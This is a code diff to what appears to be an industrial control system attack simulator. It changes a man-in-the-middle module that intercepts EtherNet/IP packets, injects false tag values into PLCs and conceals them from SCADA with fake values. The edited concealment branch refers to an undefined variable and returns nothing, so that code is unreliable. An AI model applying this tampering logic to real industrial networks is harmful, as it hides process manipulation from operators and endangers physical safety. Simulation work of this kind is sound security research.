@@ -31,7 +31,7 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number:
3131 if 'concealment_data' in self .intermediate_attack .keys ():
3232 if self .intermediate_attack ['concealment_data' ]['type' ] == 'path' :
3333 self .concealment_type = 'path'
34- self .concealment_data_pd = pd .read_csv (self .intermediate_attack ['concealment_data' ])
34+ self .concealment_data_pd = pd .read_csv (self .intermediate_attack ['concealment_data' ][ 'path' ] )
3535 elif self .intermediate_attack ['concealment_data' ]['type' ] == 'value' :
3636 self .concealment_type = 'value'
3737 else :
@@ -45,41 +45,45 @@ def get_attack_tag(self, a_tag_name):
4545 return tag
4646
4747 def handle_enip_response (self , ip_payload ):
48- this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
48+ this_session = int .from_bytes (ip_payload [Raw ].load [4 :8 ], sys .byteorder )
4949 this_context = int .from_bytes (ip_payload [Raw ].load [12 :20 ], sys .byteorder )
50- this_session_dict = None
50+
51+ self .logger .debug ('ENIP response session: ' + str (this_session ))
52+ self .logger .debug ('ENIP response context: ' + str (this_context ))
5153
5254 # Attack values to PLCs
5355 for session in self .attack_session_ids :
5456 # We support multi tag sending, using the same session. Context varies among tags
5557 if session ['session' ] == this_session and session ['context' ] == this_context :
56- this_session_dict = session
5758 for tag in self .intermediate_attack ['tags' ]:
58- if this_session_dict ['tag' ] == tag ['tag' ]:
59- if 'value' in tag [ 'tag' ] .keys ():
59+ if session ['tag' ] == tag ['tag' ]:
60+ if 'value' in tag .keys ():
6061 return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
6162
62- elif 'offset' in tag [ 'tag' ] .keys ():
63- return translate_float_to_payload (translate_payload_to_float (p [Raw ].load ) + tag ['value ' ],
63+ elif 'offset' in tag .keys ():
64+ return translate_float_to_payload (translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset ' ],
6465 ip_payload [Raw ].load )
6566
6667 # Concealment values to SCADA
6768 for session in self .scada_session_ids :
6869 if session ['session' ] == this_session and session ['context' ] == this_context :
69- this_session_dict = session
70- for tag in self .intermediate_attack ['tags' ]:
71- if this_session_dict ['tag' ] == tag ['tag' ]:
72- self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
73- if self .concealment_type == 'path' :
70+ for tag in self .intermediate_attack ['concealment_data' ]['concealment_value' ]:
71+ if session ['tag' ] == tag ['tag' ]:
72+ if self .intermediate_attack ['concealment_data' ]['type' ] == 'value' :
73+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
74+ concealment_value = tag ['value' ]
75+ self .logger .debug ('Concealment value is: ' + str (concealment_value ))
76+ return translate_float_to_payload (concealment_value , ip_payload [Raw ].load )
77+ elif self .intermediate_attack ['concealment_data' ]['type' ] == 'offset' :
78+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
79+ return translate_float_to_payload (translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset' ],
80+ ip_payload [Raw ].load )
81+ elif self .intermediate_attack ['concealment_data' ]['type' ] == 'path' :
82+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
7483 exp = (self .concealment_data_pd ['iteration' ] == self .get_master_clock ())
7584 concealment_value = float (self .concealment_data_pd .loc [exp ][self .attacked_tags ].values [- 1 ])
7685 self .logger .debug ('Concealing with value: ' + str (concealment_value ))
77- return translate_float_to_payload (concealment_value , ip_payload [Raw ].load )
78- elif self .concealment_type == 'value' :
79- concealment_value = self .intermediate_attack ['concealment_data' ]['concealment_value' ]
80- self .logger .debug ('Concealment value is: ' + str (concealment_value ))
81- return translate_float_to_payload (concealment_value , ip_payload [Raw ].load )
82-
86+ p [Raw ].load = translate_float_to_payload (concealment_value , p [Raw ].load )
8387
8488 def handle_enip_request (self , ip_payload , offset ):
8589
@@ -90,9 +94,10 @@ def handle_enip_request(self, ip_payload, offset):
9094 self .logger .debug ('this tag is: ' + str (tag_name ))
9195 this_tag = self .get_attack_tag (tag_name )
9296
93- self .logger .debug ('Tag name: ' + str (tag_name ))
94- self .logger .debug ('Attack tag: ' + str (this_tag ['tag' ]))
97+ # self.logger.debug('Tag name: ' + str(tag_name))
98+ # self.logger.debug('Attack tag: ' + str(this_tag['tag']))
9599 session_dict = {'session' : this_session , 'tag' : this_tag ['tag' ], 'context' : context }
100+ self .logger .debug ('session dict: ' + str (session_dict ))
96101
97102 if ip_payload [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
98103 self .logger .debug ('SCADA Req session' )
@@ -102,7 +107,6 @@ def handle_enip_request(self, ip_payload, offset):
102107 self .logger .debug ('PLC Req session' )
103108 self .attack_session_ids .append (session_dict )
104109
105-
106110 def capture (self , packet ):
107111 """
108112 This function is the function that will run in the thread started in the setup function.
@@ -123,12 +127,17 @@ def capture(self, packet):
123127 packet .set_payload (bytes (p ))
124128 self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
125129 packet .accept ()
130+ return
126131
127132 else :
128133 if len (p ) == 118 :
134+ self .logger .debug ('handling request 57' )
129135 self .handle_enip_request (p , 57 )
136+ self .logger .debug ('handled request' )
130137 elif len (p ) == 116 :
138+ self .logger .debug ('handling request 56' )
131139 self .handle_enip_request (p , 56 )
140+ self .logger .debug ('handled request' )
132141 else :
133142 packet .accept ()
134143 return
0 commit comments